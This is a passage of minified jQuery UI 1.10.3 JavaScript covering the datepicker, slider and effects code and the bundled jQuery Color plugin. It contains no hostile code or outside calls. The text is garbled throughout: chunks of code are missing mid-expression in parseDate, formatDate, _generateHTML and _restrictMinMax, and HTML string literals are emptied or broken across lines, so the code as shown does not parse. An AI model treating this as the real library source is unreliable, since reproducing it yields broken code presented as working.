h,j=e(k),i=this._getInst(j[0]);if(this._get(i,"gotoCurrent")&&i.currentDay){i.selectedDay=i.currentDay;i.drawMonth=i.selectedMonth=i.currentMonth;i.drawYear=i.selectedYear=i.currentYear}else{h=new Date();i.selectedDay=h.getDate();i.drawMonth=i.selectedMonth=h.getMonth();i.drawYear=i.selectedYear=h.getFullYear()}this._notifyChange(i);this._adjustDate(j)},_selectMonthYear:function(l,h,k){var j=e(l),i=this._getInst(j[0]);i["selected"+(k==="M"?"Month":"Year")]=i["draw"+(k==="M"?"Month":"Year")]=parseInt(h.options[h.selectedIndex].value,10);this._notifyChange(i);this._adjustDate(j)},_selectDay:function(m,k,h,l){var i,j=e(m);if(e(l).hasClass(this._unselectableClass)||this._isDisabledDatepicker(j[0])){return}i=this._getInst(j[0]);i.selectedDay=i.currentDay=e("a",l).html();i.selectedMonth=i.currentMonth=k;i.selectedYear=i.currentYear=h;this._selectDate(m,this._formatDate(i,i.currentDay,i.currentMonth,i.currentYear))},_clearDate:function(i){var h=e(i);this._selectDate(h,"")},_selectDate:function(l,h){var i,k=e(l),j=this._getInst(k[0]);h=(h!=null?h:this._formatDate(j));if(j.input){j.input.val(h)}this._updateAlternate(j);i=this._get(j,"onSelect");if(i){i.apply((j.input?j.input[0]:null),[h,j])}else{if(j.input){j.input.trigger("change")}}if(j.inline){this._updateDatepicker(j)}else{this._hideDatepicker();this._lastInput=j.input[0];if(typeof(j.input[0])!=="object"){j.input.focus()}this._lastInput=null}},_updateAlternate:function(l){var k,j,h,i=this._get(l,"altField");if(i){k=this._get(l,"altFormat")||this._get(l,"dateFormat");j=this._getDate(l);h=this.formatDate(k,j,this._getFormatConfig(l));e(i).each(function(){e(this).val(h)})}},noWeekends:function(i){var h=i.getDay();return[(h>0&&h<6),""]},iso8601Week:function(h){var i,j=new Date(h.getTime());j.setDate(j.getDate()+4-(j.getDay()||7));i=j.getTime();j.setMonth(0);j.setDate(1);return Math.floor(Math.round((i-j)/86400000)/7)+1},parseDate:function(x,s,z){if(x==null||s==null){throw"Invalid arguments"}s=(typeof s==="object"?s.toString():s+"");if(s===""){return null}var k,u,i,y=0,n=(z?z.shortYearCutoff:null)||this._defaults.shortYearCutoff,j=(typeof n!=="string"?n:new Date().getFullYear()%100+parseInt(n,10)),q=(z?z.dayNamesShort:null)||this._defaults.dayNamesShort,B=(z?z.dayNames:null)||this._defaults.dayNames,h=(z?z.monthNamesShort:null)||this._defaults.monthNamesShort,l=(z?z.monthNames:null)||this._defaults.monthNames,m=-1,C=-1,w=-1,p=-1,v=false,A,r=function(E){var F=(k+1-1){C=1;w=p;do{u=this._getDaysInMonth(m,C-1);if(w<=u){break}C++;w-=u}while(true)}A=this._daylightSavingAdjust(new Date(m,C-1,w));if(A.getFullYear()!==m||A.getMonth()+1!==C||A.getDate()!==w){throw"Invalid date"}return A},ATOM:"yy-mm-dd",COOKIE:"D, dd M yy",ISO_8601:"yy-mm-dd",RFC_822:"D, d M y",RFC_850:"DD, dd-M-y",RFC_1036:"D, d M y",RFC_1123:"D, d M yy",RFC_2822:"D, d M yy",RSS:"D, d M y",TICKS:"!",TIMESTAMP:"@",W3C:"yy-mm-dd",_ticksTo1970:(((1970-1)*365+Math.floor(1970/4)-Math.floor(1970/100)+Math.floor(1970/400))*24*60*60*10000000),formatDate:function(q,k,l){if(!k){return""}var s,t=(l?l.dayNamesShort:null)||this._defaults.dayNamesShort,i=(l?l.dayNames:null)||this._defaults.dayNames,o=(l?l.monthNamesShort:null)||this._defaults.monthNamesShort,m=(l?l.monthNames:null)||this._defaults.monthNames,r=function(u){var v=(s+112?h.getHours()+2:0);return h},_setDate:function(n,k,m){var h=!k,j=n.selectedMonth,l=n.selectedYear,i=this._restrictMinMax(n,this._determineDate(n,k,new Date()));n.selectedDay=n.currentDay=i.getDate();n.drawMonth=n.selectedMonth=n.currentMonth=i.getMonth();n.drawYear=n.selectedYear=n.currentYear=i.getFullYear();if((j!==n.selectedMonth||l!==n.selectedYear)&&!m){this._notifyChange(n)}this._adjustInstDate(n);if(n.input){n.input.val(h?"":this._formatDate(n))}},_getDate:function(i){var h=(!i.currentYear||(i.input&&i.input.val()==="")?null:this._daylightSavingAdjust(new Date(i.currentYear,i.currentMonth,i.currentDay)));return h},_attachHandlers:function(i){var h=this._get(i,"stepMonths"),j="#"+i.id.replace(/\\\\/g,"\\");i.dpDiv.find("[data-handler]").map(function(){var k={prev:function(){e.datepicker._adjustDate(j,-h,"M")},next:function(){e.datepicker._adjustDate(j,+h,"M")},hide:function(){e.datepicker._hideDatepicker()},today:function(){e.datepicker._gotoToday(j)},selectDay:function(){e.datepicker._selectDay(j,+this.getAttribute("data-month"),+this.getAttribute("data-year"),this);return false},selectMonth:function(){e.datepicker._selectMonthYear(j,this,"M");return false},selectYear:function(){e.datepicker._selectMonthYear(j,this,"Y");return false}};e(this).bind(this.getAttribute("data-event"),k[this.getAttribute("data-handler")])})},_generateHTML:function(X){var A,z,S,K,l,ab,V,O,ae,I,ai,s,u,t,i,aa,q,D,ad,Q,aj,C,H,r,m,T,M,P,N,p,F,v,W,Z,k,ac,ag,L,w,Y=new Date(),B=this._daylightSavingAdjust(new Date(Y.getFullYear(),Y.getMonth(),Y.getDate())),af=this._get(X,"isRTL"),ah=this._get(X,"showButtonPanel"),R=this._get(X,"hideIfNoPrevNext"),G=this._get(X,"navigationAsDateFormat"),x=this._getNumberOfMonths(X),o=this._get(X,"showCurrentAtPos"),J=this._get(X,"stepMonths"),E=(x[0]!==1||x[1]!==1),j=this._daylightSavingAdjust((!X.currentDay?new Date(9999,9,9):new Date(X.currentYear,X.currentMonth,X.currentDay))),n=this._getMinMaxDate(X,"min"),y=this._getMinMaxDate(X,"max"),h=X.drawMonth-o,U=X.drawYear;if(h<0){h+=12;U--}if(y){A=this._daylightSavingAdjust(new Date(y.getFullYear(),y.getMonth()-(x[0]*x[1])+1,y.getDate()));A=(n&&AA){h--;if(h<0){h=11;U--}}}X.drawMonth=h;X.drawYear=U;z=this._get(X,"prevText");z=(!G?z:this.formatDate(z,this._daylightSavingAdjust(new Date(U,h-J,1)),this._getFormatConfig(X)));S=(this._canAdjustMonth(X,-1,U,h)?"
"+z+"":(R?"":""+z+""));K=this._get(X,"nextText");K=(!G?K:this.formatDate(K,this._daylightSavingAdjust(new Date(U,h+J,1)),this._getFormatConfig(X)));l=(this._canAdjustMonth(X,+1,U,h)?""+K+"":(R?"":""+K+""));ab=this._get(X,"currentText");V=(this._get(X,"gotoCurrent")&&X.currentDay?j:B);ab=(!G?ab:this.formatDate(ab,V,this._getFormatConfig(X)));O=(!X.inline?"":"");ae=(ah)?"
"+(af?O:"")+(this._isInRange(X,V)?"":"")+(af?"":O)+"
":"";I=parseInt(this._get(X,"firstDay"),10);I=(isNaN(I)?0:I);ai=this._get(X,"showWeek");s=this._get(X,"dayNames");u=this._get(X,"dayNamesMin");t=this._get(X,"monthNames");i=this._get(X,"monthNamesShort");aa=this._get(X,"beforeShowDay");q=this._get(X,"showOtherMonths");D=this._get(X,"selectOtherMonths");ad=this._getDefaultDate(X);Q="";aj;for(C=0;C1){switch(r){case 0:M+=" ui-datepicker-group-first";T=" ui-corner-"+(af?"right":"left");break;case x[1]-1:M+=" ui-datepicker-group-last";T=" ui-corner-"+(af?"left":"right");break;default:M+=" ui-datepicker-group-middle";T="";break}}M+="'>"}M+="
"+(/all|left/.test(T)&&C===0?(af?l:S):"")+(/all|right/.test(T)&&C===0?(af?S:l):"")+this._generateMonthYearHeader(X,h,U,n,y,C>0||r>0,t,i)+"
";P=(ai?"":"");for(aj=0;aj<7;aj++){N=(aj+I)%7;P+="=5?" class='ui-datepicker-week-end'":"")+">"+u[N]+""}M+=P+"";p=this._getDaysInMonth(U,h);if(U===X.selectedYear&&h===X.selectedMonth){X.selectedDay=Math.min(X.selectedDay,p)}F=(this._getFirstDayOfMonth(U,h)-I+7)%7;v=Math.ceil((F+p)/7);W=(E?this.maxRows>v?this.maxRows:v:v);this.maxRows=W;Z=this._daylightSavingAdjust(new Date(U,h,1-F));for(k=0;k";ac=(!ai?"":"");for(aj=0;aj<7;aj++){ag=(aa?aa.apply((X.input?X.input[0]:null),[Z]):[true,""]);L=(Z.getMonth()!==h);w=(L&&!D)||!ag[0]||(n&&Zy);ac+="";Z.setDate(Z.getDate()+1);Z=this._daylightSavingAdjust(Z)}M+=ac+""}h++;if(h>11){h=0;U++}M+="
"+this._get(X,"weekHeader")+"
"+this._get(X,"calculateWeek")(Z)+""+(L&&!q?" ":(w?""+Z.getDate()+"":""+Z.getDate()+""))+"
"+(E?""+((x[0]>0&&r===x[1]-1)?"
":""):"");H+=M}Q+=H}Q+=ae;X._keyEvent=false;return Q},_generateMonthYearHeader:function(l,j,t,n,r,u,p,h){var y,i,z,w,m,v,s,o,k=this._get(l,"changeMonth"),A=this._get(l,"changeYear"),B=this._get(l,"showMonthAfterYear"),q="
",x="";if(u||!k){x+=""+p[j]+""}else{y=(n&&n.getFullYear()===t);i=(r&&r.getFullYear()===t);x+=""}if(!B){q+=x+(u||!(k&&A)?" ":"")}if(!l.yearshtml){l.yearshtml="";if(u||!A){q+=""+t+""}else{w=this._get(l,"yearRange").split(":");m=new Date().getFullYear();v=function(D){var C=(D.match(/c[+\-].*/)?t+parseInt(D.substring(1),10):(D.match(/[+\-].*/)?m+parseInt(D,10):parseInt(D,10)));return(isNaN(C)?m:C)};s=v(w[0]);o=Math.max(s,v(w[1]||""));s=(n?Math.max(s,n.getFullYear()):s);o=(r?Math.min(o,r.getFullYear()):o);l.yearshtml+="";q+=l.yearshtml;l.yearshtml=null}}q+=this._get(l,"yearSuffix");if(B){q+=(u||!(k&&A)?" ":"")+x}q+="
";return q},_adjustInstDate:function(k,n,m){var j=k.drawYear+(m==="Y"?n:0),l=k.drawMonth+(m==="M"?n:0),h=Math.min(k.selectedDay,this._getDaysInMonth(j,l))+(m==="D"?n:0),i=this._restrictMinMax(k,this._daylightSavingAdjust(new Date(j,l,h)));k.selectedDay=i.getDate();k.drawMonth=k.selectedMonth=i.getMonth();k.drawYear=k.selectedYear=i.getFullYear();if(m==="M"||m==="Y"){this._notifyChange(k)}},_restrictMinMax:function(k,i){var j=this._getMinMaxDate(k,"min"),l=this._getMinMaxDate(k,"max"),h=(j&&il?l:h)},_notifyChange:function(i){var h=this._get(i,"onChangeMonthYear");if(h){h.apply((i.input?i.input[0]:null),[i.selectedYear,i.selectedMonth+1,i])}},_getNumberOfMonths:function(i){var h=this._get(i,"numberOfMonths");return(h==null?[1,1]:(typeof h==="number"?[1,h]:h))},_getMinMaxDate:function(i,h){return this._determineDate(i,this._get(i,h+"Date"),null)},_getDaysInMonth:function(h,i){return 32-this._daylightSavingAdjust(new Date(h,i,32)).getDate()},_getFirstDayOfMonth:function(h,i){return new Date(h,i,1).getDay()},_canAdjustMonth:function(k,m,j,l){var h=this._getNumberOfMonths(k),i=this._daylightSavingAdjust(new Date(j,l+(m<0?m:h[0]*h[1]),1));if(m<0){i.setDate(this._getDaysInMonth(i.getFullYear(),i.getMonth()))}return this._isInRange(k,i)},_isInRange:function(l,j){var i,o,k=this._getMinMaxDate(l,"min"),h=this._getMinMaxDate(l,"max"),p=null,m=null,n=this._get(l,"yearRange");if(n){i=n.split(":");o=new Date().getFullYear();p=parseInt(i[0],10);m=parseInt(i[1],10);if(i[0].match(/[+\-].*/)){p+=o}if(i[1].match(/[+\-].*/)){m+=o}}return((!k||j.getTime()>=k.getTime())&&(!h||j.getTime()<=h.getTime())&&(!p||j.getFullYear()>=p)&&(!m||j.getFullYear()<=m))},_getFormatConfig:function(h){var i=this._get(h,"shortYearCutoff");i=(typeof i!=="string"?i:new Date().getFullYear()%100+parseInt(i,10));return{shortYearCutoff:i,dayNamesShort:this._get(h,"dayNamesShort"),dayNames:this._get(h,"dayNames"),monthNamesShort:this._get(h,"monthNamesShort"),monthNames:this._get(h,"monthNames")}},_formatDate:function(k,h,l,j){if(!h){k.currentDay=k.selectedDay;k.currentMonth=k.selectedMonth;k.currentYear=k.selectedYear}var i=(h?(typeof h==="object"?h:this._daylightSavingAdjust(new Date(j,l,h))):this._daylightSavingAdjust(new Date(k.currentYear,k.currentMonth,k.currentDay)));return this.formatDate(this._get(k,"dateFormat"),i,this._getFormatConfig(k))}});function d(i){var h="button, .ui-datepicker-prev, .ui-datepicker-next, .ui-datepicker-calendar td a";return i.delegate(h,"mouseout",function(){e(this).removeClass("ui-state-hover");if(this.className.indexOf("ui-datepicker-prev")!==-1){e(this).removeClass("ui-datepicker-prev-hover")}if(this.className.indexOf("ui-datepicker-next")!==-1){e(this).removeClass("ui-datepicker-next-hover")}}).delegate(h,"mouseover",function(){if(!e.datepicker._isDisabledDatepicker(c.inline?i.parent()[0]:c.input[0])){e(this).parents(".ui-datepicker-calendar").find("a").removeClass("ui-state-hover");e(this).addClass("ui-state-hover");if(this.className.indexOf("ui-datepicker-prev")!==-1){e(this).addClass("ui-datepicker-prev-hover")}if(this.className.indexOf("ui-datepicker-next")!==-1){e(this).addClass("ui-datepicker-next-hover")}}})}function a(j,i){e.extend(j,i);for(var h in i){if(i[h]==null){j[h]=i[h]}}return j}e.fn.datepicker=function(i){if(!this.length){return this}if(!e.datepicker.initialized){e(document).mousedown(e.datepicker._checkExternalClick);e.datepicker.initialized=true}if(e("#"+e.datepicker._mainDivId).length===0){e("body").append(e.datepicker.dpDiv)}var h=Array.prototype.slice.call(arguments,1);if(typeof i==="string"&&(i==="isDisabled"||i==="getDate"||i==="widget")){return e.datepicker["_"+i+"Datepicker"].apply(e.datepicker,[this[0]].concat(h))}if(i==="option"&&arguments.length===2&&typeof arguments[1]==="string"){return e.datepicker["_"+i+"Datepicker"].apply(e.datepicker,[this[0]].concat(h))}return this.each(function(){typeof i==="string"?e.datepicker["_"+i+"Datepicker"].apply(e.datepicker,[this].concat(h)):e.datepicker._attachDatepicker(this,i)})};e.datepicker=new b();e.datepicker.initialized=false;e.datepicker.uuid=new Date().getTime();e.datepicker.version="1.10.3"})(jQuery);(function(b,c){var a=5;b.widget("ui.slider",b.ui.mouse,{version:"1.10.3",widgetEventPrefix:"slide",options:{animate:false,distance:0,max:100,min:0,orientation:"horizontal",range:false,step:1,value:0,values:null,change:null,slide:null,start:null,stop:null},_create:function(){this._keySliding=false;this._mouseSliding=false;this._animateOff=true;this._handleIndex=null;this._detectOrientation();this._mouseInit();this.element.addClass("ui-slider ui-slider-"+this.orientation+" ui-widget ui-widget-content ui-corner-all");this._refresh();this._setOption("disabled",this.options.disabled);this._animateOff=false},_refresh:function(){this._createRange();this._createHandles();this._setupEvents();this._refreshValue()},_createHandles:function(){var g,d,e=this.options,j=this.element.find(".ui-slider-handle").addClass("ui-state-default ui-corner-all"),h="",f=[];d=(e.values&&e.values.length)||1;if(j.length>d){j.slice(d).remove();j=j.slice(0,d)}for(g=j.length;g").appendTo(this.element);e="ui-slider-range ui-widget-header ui-corner-all"}else{this.range.removeClass("ui-slider-range-min ui-slider-range-max").css({left:"",bottom:""})}this.range.addClass(e+((d.range==="min"||d.range==="max")?" ui-slider-range-"+d.range:""))}else{this.range=b([])}},_setupEvents:function(){var d=this.handles.add(this.range).filter("a");this._off(d);this._on(d,this._handleEvents);this._hoverable(d);this._focusable(d)},_destroy:function(){this.handles.remove();this.range.remove();this.element.removeClass("ui-slider ui-slider-horizontal ui-slider-vertical ui-widget ui-widget-content ui-corner-all");this._mouseDestroy()},_mouseCapture:function(f){var j,m,e,h,l,n,i,d,k=this,g=this.options;if(g.disabled){return false}this.elementSize={width:this.element.outerWidth(),height:this.element.outerHeight()};this.elementOffset=this.element.offset();j={x:f.pageX,y:f.pageY};m=this._normValueFromMouse(j);e=this._valueMax()-this._valueMin()+1;this.handles.each(function(o){var p=Math.abs(m-k.values(o));if((e>p)||(e===p&&(o===k._lastChangedValue||k.values(o)===g.min))){e=p;h=b(this);l=o}});n=this._start(f,l);if(n===false){return false}this._mouseSliding=true;this._handleIndex=l;h.addClass("ui-state-active").focus();i=h.offset();d=!b(f.target).parents().addBack().is(".ui-slider-handle");this._clickOffset=d?{left:0,top:0}:{left:f.pageX-i.left-(h.width()/2),top:f.pageY-i.top-(h.height()/2)-(parseInt(h.css("borderTopWidth"),10)||0)-(parseInt(h.css("borderBottomWidth"),10)||0)+(parseInt(h.css("marginTop"),10)||0)};if(!this.handles.hasClass("ui-state-hover")){this._slide(f,l,m)}this._animateOff=true;return true},_mouseStart:function(){return true},_mouseDrag:function(f){var d={x:f.pageX,y:f.pageY},e=this._normValueFromMouse(d);this._slide(f,this._handleIndex,e);return false},_mouseStop:function(d){this.handles.removeClass("ui-state-active");this._mouseSliding=false;this._stop(d,this._handleIndex);this._change(d,this._handleIndex);this._handleIndex=null;this._clickOffset=null;this._animateOff=false;return false},_detectOrientation:function(){this.orientation=(this.options.orientation==="vertical")?"vertical":"horizontal"},_normValueFromMouse:function(e){var d,h,g,f,i;if(this.orientation==="horizontal"){d=this.elementSize.width;h=e.x-this.elementOffset.left-(this._clickOffset?this._clickOffset.left:0)}else{d=this.elementSize.height;h=e.y-this.elementOffset.top-(this._clickOffset?this._clickOffset.top:0)}g=(h/d);if(g>1){g=1}if(g<0){g=0}if(this.orientation==="vertical"){g=1-g}f=this._valueMax()-this._valueMin();i=this._valueMin()+g*f;return this._trimAlignValue(i)},_start:function(f,e){var d={handle:this.handles[e],value:this.value()};if(this.options.values&&this.options.values.length){d.value=this.values(e);d.values=this.values()}return this._trigger("start",f,d)},_slide:function(h,g,f){var d,e,i;if(this.options.values&&this.options.values.length){d=this.values(g?0:1);if((this.options.values.length===2&&this.options.range===true)&&((g===0&&f>d)||(g===1&&f1){this.options.values[e]=this._trimAlignValue(h);this._refreshValue();this._change(null,e);return}if(arguments.length){if(b.isArray(arguments[0])){g=this.options.values;d=arguments[0];for(f=0;f=this._valueMax()){return this._valueMax()}var d=(this.options.step>0)?this.options.step:1,f=(g-this._valueMin())%d,e=g-f;if(Math.abs(f)*2>=d){e+=(f>0)?d:(-d)}return parseFloat(e.toFixed(5))},_valueMin:function(){return this.options.min},_valueMax:function(){return this.options.max},_refreshValue:function(){var i,h,l,j,m,g=this.options.range,f=this.options,k=this,e=(!this._animateOff)?f.animate:false,d={};if(this.options.values&&this.options.values.length){this.handles.each(function(n){h=(k.values(n)-k._valueMin())/(k._valueMax()-k._valueMin())*100;d[k.orientation==="horizontal"?"left":"bottom"]=h+"%";b(this).stop(1,1)[e?"animate":"css"](d,f.animate);if(k.options.range===true){if(k.orientation==="horizontal"){if(n===0){k.range.stop(1,1)[e?"animate":"css"]({left:h+"%"},f.animate)}if(n===1){k.range[e?"animate":"css"]({width:(h-i)+"%"},{queue:false,duration:f.animate})}}else{if(n===0){k.range.stop(1,1)[e?"animate":"css"]({bottom:(h)+"%"},f.animate)}if(n===1){k.range[e?"animate":"css"]({height:(h-i)+"%"},{queue:false,duration:f.animate})}}}i=h})}else{l=this.value();j=this._valueMin();m=this._valueMax();h=(m!==j)?(l-j)/(m-j)*100:0;d[this.orientation==="horizontal"?"left":"bottom"]=h+"%";this.handle.stop(1,1)[e?"animate":"css"](d,f.animate);if(g==="min"&&this.orientation==="horizontal"){this.range.stop(1,1)[e?"animate":"css"]({width:h+"%"},f.animate)}if(g==="max"&&this.orientation==="horizontal"){this.range[e?"animate":"css"]({width:(100-h)+"%"},{queue:false,duration:f.animate})}if(g==="min"&&this.orientation==="vertical"){this.range.stop(1,1)[e?"animate":"css"]({height:h+"%"},f.animate)}if(g==="max"&&this.orientation==="vertical"){this.range[e?"animate":"css"]({height:(100-h)+"%"},{queue:false,duration:f.animate})}}},_handleEvents:{keydown:function(h){var i,f,e,g,d=b(h.target).data("ui-slider-handle-index");switch(h.keyCode){case b.ui.keyCode.HOME:case b.ui.keyCode.END:case b.ui.keyCode.PAGE_UP:case b.ui.keyCode.PAGE_DOWN:case b.ui.keyCode.UP:case b.ui.keyCode.RIGHT:case b.ui.keyCode.DOWN:case b.ui.keyCode.LEFT:h.preventDefault();if(!this._keySliding){this._keySliding=true;b(h.target).addClass("ui-state-active");i=this._start(h,d);if(i===false){return}}break}g=this.options.step;if(this.options.values&&this.options.values.length){f=e=this.values(d)}else{f=e=this.value()}switch(h.keyCode){case b.ui.keyCode.HOME:e=this._valueMin();break;case b.ui.keyCode.END:e=this._valueMax();break;case b.ui.keyCode.PAGE_UP:e=this._trimAlignValue(f+((this._valueMax()-this._valueMin())/a));break;case b.ui.keyCode.PAGE_DOWN:e=this._trimAlignValue(f-((this._valueMax()-this._valueMin())/a));break;case b.ui.keyCode.UP:case b.ui.keyCode.RIGHT:if(f===this._valueMax()){return}e=this._trimAlignValue(f+g);break;case b.ui.keyCode.DOWN:case b.ui.keyCode.LEFT:if(f===this._valueMin()){return}e=this._trimAlignValue(f-g);break}this._slide(h,d,e)},click:function(d){d.preventDefault()},keyup:function(e){var d=b(e.target).data("ui-slider-handle-index");if(this._keySliding){this._keySliding=false;this._stop(e,d);this._change(e,d);b(e.target).removeClass("ui-state-active")}}}})}(jQuery));(function(a,c){var b="ui-effects-";a.effects={effect:{}}; +/* + * jQuery Color Animations v2.1.2 + * https://github.com/jquery/jquery-color + * + * Copyright 2013 jQuery Foundation and other contributors + * Released under the MIT license. + * http://jquery.org/license + * + * Date: Wed Jan 16 08:47:09 2013 -0600 + */ +(function(r,g){var n="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",k=/^([\-+])=\s*(\d+\.?\d*)/,j=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(s){return[s[1],s[2],s[3],s[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(s){return[s[1]*2.55,s[2]*2.55,s[3]*2.55,s[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(s){return[parseInt(s[1],16),parseInt(s[2],16),parseInt(s[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(s){return[parseInt(s[1]+s[1],16),parseInt(s[2]+s[2],16),parseInt(s[3]+s[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(s){return[s[1],s[2]/100,s[3]/100,s[4]]}}],h=r.Color=function(t,u,s,v){return new r.Color.fn.parse(t,u,s,v)},m={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},q={"byte":{floor:true,max:255},percent:{max:1},degrees:{mod:360,floor:true}},p=h.support={},e=r("

")[0],d,o=r.each;e.style.cssText="background-color:rgba(1,1,1,.5)";p.rgba=e.style.backgroundColor.indexOf("rgba")>-1;o(m,function(s,t){t.cache="_"+s;t.props.alpha={idx:3,type:"percent",def:1}});function l(t,v,u){var s=q[v.type]||{};if(t==null){return(u||!v.def)?null:v.def}t=s.floor?~~t:parseFloat(t);if(isNaN(t)){return v.def}if(s.mod){return(t+s.mod)%s.mod}return 0>t?0:s.maxE.mod/2){B+=E.mod}else{if(B-A>E.mod/2){B-=E.mod}}}s[C]=l((A-B)*z+B,F)}});return this[v](s)},blend:function(v){if(this._rgba[3]===1){return this}var u=this._rgba.slice(),t=u.pop(),s=h(v)._rgba;return h(r.map(u,function(w,x){return(1-t)*s[x]+t*w}))},toRgbaString:function(){var t="rgba(",s=r.map(this._rgba,function(u,w){return u==null?(w>2?1:0):u});if(s[3]===1){s.pop();t="rgb("}return t+s.join()+")"},toHslaString:function(){var t="hsla(",s=r.map(this.hsla(),function(u,w){if(u==null){u=w>2?1:0}if(w&&w<3){u=Math.round(u*100)+"%"}return u});if(s[3]===1){s.pop();t="hsl("}return t+s.join()+")"},toHexString:function(s){var t=this._rgba.slice(),u=t.pop();if(s){t.push(~~(u*255))}return"#"+r.map(t,function(w){w=(w||0).toString(16);return w.length===1?"0"+w:w}).join("")},toString:function(){return this._rgba[3]===0?"transparent":this.toRgbaString()}});h.fn.parse.prototype=h.fn;function f(u,t,s){s=(s+1)%1;if(s*6<1){return u+(t-u)*s*6}if(s*2<1){return t}if(s*3<2){return u+(t-u)*((2/3)-s)*6}return u}m.hsla.to=function(v){if(v[0]==null||v[1]==null||v[2]==null){return[null,null,null,v[3]]}var t=v[0]/255,y=v[1]/255,z=v[2]/255,B=v[3],A=Math.max(t,y,z),w=Math.min(t,y,z),C=A-w,D=A+w,u=D*0.5,x,E;if(w===A){x=0}else{if(t===A){x=(60*(y-z)/C)+360}else{if(y===A){x=(60*(z-t)/C)+120}else{x=(60*(t-y)/C)+240}}}if(C===0){E=0}else{if(u<=0.5){E=C/D}else{E=C/(2-D)}}return[Math.round(x)%360,E,u,B==null?1:B]};m.hsla.from=function(x){if(x[0]==null||x[1]==null||x[2]==null){return[null,null,null,x[3]]}var w=x[0]/360,v=x[1],u=x[2],t=x[3],y=u<=0.5?u*(1+v):u+v-u*v,z=2*u-y;return[Math.round(f(z,y,w+(1/3))*255),Math.round(f(z,y,w)*255),Math.round(f(z,y,w-(1/3))*255),t]};o(m,function(t,v){var u=v.props,s=v.cache,x=v.to,w=v.from;h.fn[t]=function(C){if(x&&!this[s]){this[s]=x(this._rgba)}if(C===g){return this[s].slice()}var z,B=r.type(C),y=(B==="array"||B==="object")?C:arguments,A=this[s].slice();o(u,function(D,F){var E=y[B==="object"?D:F.idx];if(E==null){E=A[F.idx]}A[F.idx]=l(E,F)});if(w){z=h(w(A));z[s]=A;return z}else{return h(A)}};o(u,function(y,z){if(h.fn[y]){return}h.fn[y]=function(D){var F=r.type(D),C=(y==="alpha"?(this._hsla?"hsla":"rgba"):t),B=this[C](),E=B[z.idx],A;if(F==="undefined"){return E}if(F==="function"){D=D.call(this,E);F=r.type(D)}if(D==null&&z.empty){return this}if(F==="string"){A=k.exec(D);if(A){D=E+parseFloat(A[2])*(A[1]==="+"?1:-1)}}B[z.idx]=D;return this[C](B)}})});h.hook=function(t){var s=t.split(" ");o(s,function(u,v){r.cssHooks[v]={set:function(z,A){var x,y,w="";if(A!=="transparent"&&(r.type(A)!=="string"||(x=i(A)))){A=h(x||A);if(!p.rgba&&A._rgba[3]!==1){y=v==="backgroundColor"?z.parentNode:z;while((w===""||w==="transparent")&&y&&y.style){try{w=r.css(y,"backgroundColor");y=y.parentNode}catch(B){}}A=A.blend(w&&w!=="transparent"?w:"_default")}A=A.toRgbaString()}try{z.style[v]=A}catch(B){}}};r.fx.step[v]=function(w){if(!w.colorInit){w.start=h(w.elem,v);w.end=h(w.end);w.colorInit=true}r.cssHooks[v].set(w.elem,w.start.transition(w.end,w.pos))}})};h.hook(n);r.cssHooks.borderColor={expand:function(t){var s={};o(["Top","Right","Bottom","Left"],function(v,u){s["border"+u+"Color"]=t});return s}};d=r.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}})(jQuery);(function(){var e=["add","remove","toggle"],f={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};a.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(h,i){a.fx.step[i]=function(j){if(j.end!=="none"&&!j.setAttr||j.pos===1&&!j.setAttr){jQuery.style(j.elem,i,j.end);j.setAttr=true}}});function g(l){var i,h,j=l.ownerDocument.defaultView?l.ownerDocument.defaultView.getComputedStyle(l,null):l.currentStyle,k={};if(j&&j.length&&j[0]&&j[j[0]]){h=j.length;while(h--){i=j[h];if(typeof j[i]==="string"){k[a.camelCase(i)]=j[i]}}}else{for(i in j){if(typeof j[i]==="string"){k[i]=j[i]}}}return k}function d(h,j){var l={},i,k;for(i in j){k=j[i];if(h[i]!==k){if(!f[i]){if(a.fx.step[i]||!isNaN(parseFloat(k))){l[i]=k}}}}return l}if(!a.fn.addBack){a.fn.addBack=function(h){return this.add(h==null?this.prevObject:this.prevObject.filter(h))}}a.effects.animateClass=function(h,i,l,k){var j=a.speed(i,l,k);return this.queue(function(){var o=a(this),m=o.attr("class")||"",n,p=j.children?o.find("*").addBack():o;p=p.map(function(){var q=a(this);return{el:q,start:g(this)}});n=function(){a.each(e,function(q,r){if(h[r]){o[r+"Class"](h[r])}})};n();p=p.map(function(){this.end=g(this.el[0]);this.diff=d(this.start,this.end);return this});o.attr("class",m);p=p.map(function(){var s=this,q=a.Deferred(),r=a.extend({},j,{queue:false,complete:function(){q.resolve(s)}});this.el.animate(this.diff,r);return q.promise()});a.when.apply(a,p.get()).done(function(){n();a.each(arguments,function(){var q=this.el;a.each(this.diff,function(r){q.css(r,"")})});j.complete.call(o[0])})})};a.fn.extend({addClass:(function(h){return function(j,i,l,k){return i?a.effects.animateClass.call(this,{add:j},i,l,k):h.apply(this,arguments)}})(a.fn.addClass),removeClass:(function(h){return function(j,i,l,k){return 